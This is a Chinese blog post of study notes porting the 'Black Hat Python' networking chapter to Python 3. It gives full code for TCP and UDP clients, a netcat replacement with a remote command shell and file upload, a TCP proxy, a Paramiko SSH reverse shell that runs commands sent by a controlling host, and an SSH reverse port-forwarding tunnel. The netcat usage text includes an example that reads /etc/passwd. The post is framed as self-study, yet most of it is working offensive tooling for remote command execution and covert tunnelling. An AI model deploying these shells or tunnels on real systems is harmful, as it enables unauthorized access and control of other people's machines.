python3黑帽子mbp版(第2章:网络基础)
写在最前面的话:很早之前就想学python了，趁着买来了书，打算开始python学习之旅。先说下我的工具:使用的是sublime text3编辑器,主要使用的网站是廖雪峰老师
的网站，借鉴了很多ODboy博客中的知识点。
tcp客户端
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#!/usr/bin/env python3 # -*- code: utf-8 -*- import socket target_host="www.baidu.com" target_port=80 client=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #AF_INET表示IPv4, socket.SOCK_STREAM 表示TCP协议 client.connect((target_host,target_port)) #参数是一个元祖，包含地址和端口号。 client.send(b"GET / HTTP/1.1\r\nHost: baidu.com\r\n\r\n") response=client.recv(4096) print (response) client.close
UDP客户端
#!/usr/bin/env python3
# -*- code: utf-8 -*-
target_host="127.0.0.1"
target_port=12345
client=socket(AF_INET,SOCK_DGRAM)
client.sendto("BBC".encode("utf-8"),(target_host,target_port))
print(client.recvfrom(4096).decode("utf-8"))
client.close()
这两个是客户端是比较简单的，只有简单的连接功能，由于没有找到合适的UDP客户端，这里直接监听本机端口来连接。
TCP服务端
#!/usr/bin/env python3
#coding=utf8
from socket import *
from time import ctime
import os
import threading
bufsize = 1024
addr = ('0.0.0.0',13140)
# 定义socket类型，网络通信
server=socket(AF_INET,SOCK_STREAM)
server.bind(addr)
server.listen(5)
print("listening on",addr)
def handle_client(client_socket):
request=client_socket.recv(1024)
print("received:%s" %request)
client_socket.send(bytes("ACK!".encode("utf-8")))
client_socket.close()
while True:
# client是客户端的socket对象,add是地址加端口,此client等于函数中的client_socket
client,add1=server.accept()
print("accpet connection from:%s:%d" %(add1[0],add1[1]))
# 用于线程化的args参数。线程应该是一个元组，所以应该是client,
client_handle=threading.Thread(target=handle_client,args=(client,))
client_handle.start()这是连接服务端的代码，跟tcp和udp客户端有些小区别。
#coding=utf8
from socket import *
host="127.0.0.1"
port=13140
data=input("输入要发送的信息：")
client=socket(AF_INET,SOCK_STREAM)
print("正在连接...")
client.connect((host,port))
client.send(data.encode("utf-8"))
print ("Connected from ",client.getsockname())
print ("Connected to ",client.getpeername())
print(client.recv(4096).decode("utf-8"))本地服务端：
本地客户端：
取代netcat
#!/usr/bin/env python3
#coding=utf-8
import sys
from socket import *
import getopt #用来处理命令行参数
import threading
import subprocess #启动一个shell，并控制输入输出
#-e和-p有问题，mac下运行没什么问题，win下有问题，运行的命令会出现问题。
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print("netcat")
print("Usage:nc_hacker.py -t target_host -p target_port")
print("-l --listen - listen on [host]:[port] for incoming connections")
print("-e --execute=ile_to_run - execute the given file upon receiving a connection")
print("-c --command - initialize a command shell")
print("-u --upload=destination - upon receiving connection upload a file and write to [destination]")
print("Examples: ")
print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -c")
print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe")
print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\"")
print("echo 'ABCDEFGHI' | ./nc_hacker.py -t 192.168.11.12 -p 135")
sys.exit(0)
#主函数
def main():
global listen
global port
global execute
global command
global upload_destination
global target
#没有输入值就显示菜单
if not len(sys.argv[1:]):
usage()
try:
#getopt模块处理命令行,
#h后面没有冒号:表示后面不带参数,p:和i:后面有冒号表示后面需要参数
#help后面没有等号=，表示后面不带参数，有=，表示后面需要参数
#返回值options是个包含元祖的列表，每个元祖是分析出来的格式信息，比如[('-i','127.0.0.1'),('-p','80')]
#args 是个列表，包含那些没有‘-’或‘--’的参数，比如：['55','66']
opts,args=getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print(str(err))
usage()
for o,a in opts:
if o in("-h","--help"):
usage()
elif o in("-l","--listen"):
listen=True
elif o in("-e","--execute"):
execute=a
elif o in("-c","--command"):
command=True
elif o in("-u","--upload"):
upload_destination=a
elif o in("-t","--target"):
target=a
elif o in("-p","--port"):
port=int(a)
else:
print("unhandled option")
# 从标准输入中发送数据
if not listen and len(target) and port > 0:
# 读取输入的数据
# 这里将阻塞,发送ctrl-d使用
buffer=input()#sys.stdin.read()
# 发送数据
client_sender(buffer)
# 进行监听
if listen:
print('the server is listening on %s:%d' %(target,port))
server_loop()
# 客户端代码
def client_sender(buffer):
client = socket(AF_INET, SOCK_STREAM)
try:
print("start connecting...")
client.connect((target,port))
print("connected")
#如果我们检测到来自stdin的输入。
#如果不是，我们就等待用户输入。
if len(buffer):
client.send(buffer)
while True:
# 等待数据回传
recv_len = 1
response = ""
print("waiting response:")
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+= data.decode("utf-8")
if recv_len < 4096:
break
print(response,end="")
# 等待更多输入
buffer = input("")
buffer += "\n"
client.send(buffer.encode("utf-8"))
except:
print("[*] Exception! Exiting.")
# 断开连接
client.close()
# 服务端代码
def server_loop():
global target,port
# 如果没有定义目标，就监听所有接口
if not len(target):
target = "0.0.0.0"
server = socket(AF_INET,SOCK_STREAM)
server.bind((target,port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# print(client_socket)
# 分出一个线程来处理新的客户端
client_thread = threading.Thread(target=client_handler,args=(client_socket,))
client_thread.start()
# -c命令
def run_command(command):
# 返回从字符串末尾删除所有字符串的字符串(默认空白字符)的副本
command = command.rstrip()
# 运行命令并将输出返回
try:
#subprocess.STDOUT是抛出异常。
output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
# 将输出发送
return output
# 处理传入的客户端连接
def client_handler(client_socket):
global upload,execute,command
# 检测上传文件
if len(upload_destination):
# 读取所有的字节并写入
file_buffer = ""
# 持续读取数据直到没有数据可用为止,有问题
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
# 现在我们取这些字节并试着把它们写出来。
try:
print('opening')
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
print('written')
file_descriptor.close()
# 确认文件是否上传
client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination)
# 检查命令执行
if len(execute):
# 运行命令
output = run_command(execute)
client_socket.send(output)
# 如果需要一个命令shell，那我们进入另一个循环，。
if command:
while True:
# 跳出一个窗口
client_socket.send(b" ")
#现在我们接收文件直到发现换行符(enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024).decode("utf-8")
# 返还命令输出
response = run_command(cmd_buffer)
# 返回相应数据
client_socket.send(response)
if __name__=="__main__":
main() 本地服务端：
本地客户端：
切换到python3后，netcat中有很多功能不完善，后期有时间要优化一下。
创建一个TCP代理
#!/usr/bin/env python3
#coding=utf-8
import sys
from socket import *
import threading
# 16进制导出函数
def hexdump(src, length=16):
result = []
# 判读输入是否为字符串
digits = 4 if isinstance(src, str) else 2
for i in range(0, len(src), length):
# 将字符串切片为16个为一组
s = src[i:i+length]
# 用16进制来输出,x是digits的值，表示输出宽度
hexa = ' '.join(["%0*X" % (digits, (x)) for x in s])
# 用来输出原值
text = ''.join([chr(x) if 0x20 <= x < 0x7F else '.' for x in s])
#%-*s, 星号是length*(digits + 1)的值
result.append( "%04X %-*s %s" % (i, length*(digits + 1), hexa, text) )
print('\n'.join(result))
# 设置延时有问题，后续更改
def receive_from(connection):
buffer = b""
# 设置5s延迟,connection=socket(AF_INET, SOCK_STREAM)
connection.settimeout(5)
try:
# 保持数据的读取直到没有数据或超时
while True:
data = connection.recv(4096)
if not data:
break
buffer += data
except:
pass
return buffer
# 对目标主机的请求数据进行修改
def request_handler(buffer):
return buffer
# 对返回本地主机的响应数据进行修改
def response_handler(buffer):
return buffer
def proxy_handler(client_socket, target_host, target_port, receive_first):
# 连接目标主机
target_socket = socket(AF_INET, SOCK_STREAM)
target_socket.connect((target_host,target_port))
# 必要时从目标主机接收数据
if receive_first:
target_buffer = receive_from(target_socket)
hexdump(target_buffer)
# 发送给我们的响应处理程序
target_buffer = response_handler(target_buffer)
# 如果要发送数据给本地客户端，发送它
if len(target_buffer):
print("[<==] Sending %d bytes to localhost." % len(target_buffer))
client_socket.send(target_buffer)
# 现在我们从本地循环读取数据，发送给远程主机和本地主机
while True:
# 从本地读取数据
local_buffer = receive_from(client_socket)
if len(local_buffer):
print("[==>] Received %d bytes from localhost." % len(local_buffer))
hexdump(local_buffer)
# 发送给我们的本地请求
local_buffer = request_handler(local_buffer)
# 发送数据给目标主机
target_socket.send(local_buffer)
print("[==>] Sent to target.")
# 接收响应的数据
target_buffer = receive_from(target_socket)
if len(target_buffer):
print("[<==] Received %d bytes from target." % len(target_buffer))
hexdump(target_buffer)
# 发送到响应处理函数
target_buffer = response_handler(target_buffer)
# 将响应发送给本地socket
client_socket.send(target_buffer)
print("[<==] Sent to localhost.")
# 两边没有数据了，就关闭连接
if not len(local_buffer) or not len(target_buffer):
client_socket.close()
target_socket.close()
print("[*] No more data. Closing connections.")
break
def server_loop(local_host,local_port,target_host,target_port,receive_first):
server = socket(AF_INET, SOCK_STREAM)
try:
server.bind((local_host,local_port))
except:
print("[!!] Failed to listen on %s:%d" % (local_host,local_port))
print("[!!] Check for other listening sockets or correct permissions.")
sys.exit(0)
print("[*] Listening on %s:%d" % (local_host,local_port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# 本地连接信息
print("[==>] Received incoming connection from %s:%d" % (addr[0],addr[1]))
# 开启线程和目标主机通信
proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,target_host,target_port,receive_first))
proxy_thread.start()
def main():
if len(sys.argv[1:]) != 5:
print("Usage: ./proxy.py [localhost] [localport] [targethost] [targetport] [receive_first]")
print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
sys.exit(0)
# 本地参数
local_host = sys.argv[1]
local_port = int(sys.argv[2])
# 目标参数
target_host = sys.argv[3]
target_port = int(sys.argv[4])
receive_first = sys.argv[5]
if "True" in receive_first:
receive_first = True
else:
receive_first = False
# 开始监听
server_loop(local_host,local_port,target_host,target_port,receive_first)
main()代理服务器：
本地客户端连接：
这个16进制导出函数非常漂亮，花了很多时间在上面学习。
系统中处理数据都是unicode(也就是Python3中的str), 而传输数据用的都是UTF-8(Python3中bytes)
wireshark抓包的时候需要干净的主机(除了需要抓包的应用程序，其他的都不要)，而TCP代理可以让你看清楚单个的数据包，可以更好的帮助你了解未知的协议以及其他的信息。
通过Paramiko使用SSH
SSH服务端：
#!/usr/bin/env python3
# coding=utf-8
from socket import *
import paramiko
import threading
import sys
#http://freeloda.blog.51cto.com/2033581/1216176
# 使用命令生成私钥openssl genrsa -out rsa_private_key.pem 1024，经过抓包，发现是加密的
#http://www.jb51.net/article/70036.htm
host_key=paramiko.RSAKey(filename='rsa_private_key.pem')
class Server(paramiko.ServerInterface):
def __init__(self):
# 执行start_server()方法首先会触发Event，如果返回成功，is_active返回True
self.event=threading.Event()
# 当认证成功，client会请求打开一个Channel
def check_channel_request(self, kind, chanid):
if kind=='session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
# 当is_active返回True，进入到认证阶段
def check_auth_password(self,username,password):
if (username=='Star') and (password=='123'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server=sys.argv[1]
ssh_port=int(sys.argv[2])
# 建立服务端socket
try:
sock = socket(AF_INET, SOCK_STREAM)
# SOL_SOCKET 意思是正在使用的socket选项。
# SO_REUSEADDR 当socket关闭后，本地端用于该socket的端口号立刻就可以被重用
# 1 表示将SO_REUSEADDR标记为TRUE，操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口，否则操作系统会保留几分钟该端口。
sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
print('[+] Listening for connection ...')
client, addr = sock.accept()
except Exception as e:
print ('[-] Listen failed: ' + str(e))
sys.exit(1)
print ('[+] Got a connection!')
try:
# 用sock.accept()返回的socket实例化Transport
bhSession = paramiko.Transport(client)
# 添加一个RSA密钥加密会话
bhSession.add_server_key(host_key)
server = Server()
try:
# 启动SSH服务端
bhSession.start_server(server=server)
except paramiko.SSHException as x:
print ('[-] SSH negotiation failed.')
chan = bhSession.accept(20) # 等待客户端开启通道，超时时间为20s
# accept(timeout=None)
# Return the next channel opened by the client over this transport, in server mode. If no channel is opened before the given timeout, None is returned.
# Parameters: timeout (int) – seconds to wait for a channel, or None to wait forever
# Returns: a new Channel opened by the client
# http://docs.paramiko.org/en/1.15/api/transport.html
print ('[+] Authenticated!')
print (chan.recv(1024))
chan.send(b'Welcome to ssh')
while True:
try:
command= input("Enter command: ").strip('\n')
if command != 'exit':
# 输入值编码
chan.send(command.encode("utf-8"))
# 接收值编码
print(chan.recv(1024).decode("utf-8") + '\n')
else:
chan.send(b'exit')
print ('exiting')
bhSession.close()
#正常情况没有输出，这里让它报出异常
raise Exception ('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception as e:
print ('[-] Caught exception: ' + str(e))
try:
bhSession.close()
except:
pass
sys.exit(1)ssh客户端：
#!/usr/bin/env python3
#coding=utf-8
import threading
import paramiko
import subprocess
def ssh_command(ip,user,passwd,command):
# 建立一个sshclient对象
client = paramiko.SSHClient()
# client.load_host_keys("路径")
# 允许将信任的主机自动加入到host_allow列表，此方法必须放在connect方法的前面
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接服务器
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command.encode("utf-8"))
# 输出banner信息
print(ssh_session.recv(1024).decode("utf-8"))
while True:
# 从服务端获得命令
command =ssh_session.recv(1024).decode("utf-8")
try:
cmd_output = subprocess.check_output(command,shell =True)
ssh_session.send(cmd_output)
except Exception as e:
ssh_session.send(str(e).encode("utf-8"))
client.close()
return
#如何让command输出字符串
ssh_command("192.168.3.110","Star","123","ClientConnected")在本地我生成了一个私钥，没有生成公钥，然后就可以秘钥连接了：
openssl genrsa -out rsa_private_key.pem 2048
ssh客户端：
ssh服务端：
我把服务端放在了我的Win10上，可以看到获取到了mac上的shell。这里是反向链接，是放在目标主机上的是客户端。
ssh隧道
#!/usr/bin/env python3
#coding=utf-8
import paramiko
import sys
import socket
from optparse import OptionParser
import threading
import getpass
import os
import select
SSH_PORT = 22
DEFAULT_PORT = 4000
g_verbose = True
HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""
def get_host_port(spec, default_port):
# 解析'主机名:22'到主机和端口，端口可选。
args = (spec.split(':', 1) + [default_port])[:2]
args[1] = int(args[1])
return args[0], args[1]
# https://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html
def main():
# 传入参数，server指ssh服务器，remote指要连接的服务器
# options，它是一个对象，保存有命令行参数值。知道命令行参数名，就可以访问其对应的值：options.file
options,server,remote = parse_options()
password = None
if options.readpass:
password = getpass.getpass("Enter SSH password：")
# 建立一个sshclient对象
client = paramiko.SSHClient()
# 加载本地的known_hosts文件，纪录连到对方时，对方给的host key。每次连线时都会检查
# 目前对方给的host key与纪录的host key是否相同，可以简单验证连结是否又被诈骗等相关事宜。
client.load_system_host_keys()
# 用ssh连接远程主机时，第一次连接时会提示是否继续进行远程连接，选择yes
# 这里主动帮你选上yes
client.set_missing_host_key_policy(paramiko.WarningPolicy())
verbose("Connecting to ssh host %s:%d ..." %(server[0], server[1]))
try:
client.connect(server[0],server[1],username = options.user,key_filename =\
options.keyfile,look_for_keys = options.look_for_keys,password = password)
except Exception as e:
print("*** Failed to connect to %s:%d:%r" %(server[0],server[1],e))
sys.exit(1)
verbose("Now forwarding remote port %d to %s:%d ..." %((options.port),\
remote[0],remote[1]))
try:
#get_transport返回用于此目的的底层传输SSH连接。这可以被用于执行低级别的任务，如打开特定的通道。
#client.get_transport=实例化transport
reverse_forward_tunnel(options.port,remote[0],remote[1],client.get_transport())
except KeyboardInterrupt:
print("C-c: Port forwarding stopped.")
sys.exit(0)
def verbose(s):
if g_verbose:
print(s)
def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
# request_port_forward ==> 把端口数据的发送和接收通过新的传输通道转发出去
transport.request_port_forward("", server_port)
while True:
chan = transport.accept(1000)
if chan is None:
continue
thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port))
thr.setDaemon(True)
thr.start()
def handler(chan, host, port):
sock = socket.socket()
try:
sock.connect((host, port))
except Exception as e:
verbose("Forwarding request to %s:%d failed: %r" % (host, port, e))
return
verbose("Connected! Tunnel open %r -> %r -> %r" % (chan.origin_addr,\
chan.getpeername(), (host, port)))
while True:
# http://www.cnblogs.com/alex3714/p/4372426.html
# select通过单进程实现同时处理多个非阻塞的socket连接。
# 可以为系统底层中接收就绪一个消息后就会标注一个记号，我们读取到记号后采取相应的动作。
# 这里实现了channel与sock的数据交换。
r, w, x = select.select([sock, chan], [], [])
if sock in r:
data = sock.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
sock.send(data)
# 停止发送和接收数据
chan.close()
sock.close()
verbose("Tunnel closed from %r" % (chan.origin_addr,))
def parse_options():
global g_verbose
# http://blog.csdn.net/cclarence/article/details/50964316
# 解析命令行参数,dest的值是options点后面加的值
parser = OptionParser(usage='usage: %prog [options] [:]',
version='%prog 1.0', description=HELP)
parser.add_option('-q', '--quiet', action='store_false', dest='verbose', default=True,
help='squelch all informational output')
parser.add_option('-p', '--remote-port', action='store', type='int', dest='port',
default=DEFAULT_PORT,
help='port on server to forward (default: %d)' % DEFAULT_PORT)
parser.add_option('-u', '--user', action='store', type='string', dest='user',
default=getpass.getuser(),
help='username for SSH authentication (default: %s)' % getpass.getuser())
parser.add_option('-K', '--key', action='store', type='string', dest='keyfile',
default=None,
help='private key file to use for SSH authentication')
parser.add_option('', '--no-key', action='store_false', dest='look_for_keys', default=True,
help='don\'t look for or use a private key file')
parser.add_option('-P', '--password', action='store_true', dest='readpass', default=False,
help='read password (for key or password auth) from stdin')
parser.add_option('-r', '--remote', action='store', type='string', dest='remote', default=None, metavar='host:port',
help='remote host and port to forward to')
options, args = parser.parse_args()
if len(args) != 1:
parser.error('Incorrect number of arguments.')
if options.remote is None:
parser.error('Remote address required (-r).')
g_verbose = options.verbose
server_host, server_port = get_host_port(args[0], SSH_PORT)
remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
return options, (server_host, server_port), (remote_host, remote_port)
if __name__ == '__main__':
main() 路由器的登录页面
这里是用mac连接kali的机子，然后在kali上查看路由器的登录页面。
网页题目：python3黑帽子mbp版(第2章:网络基础)
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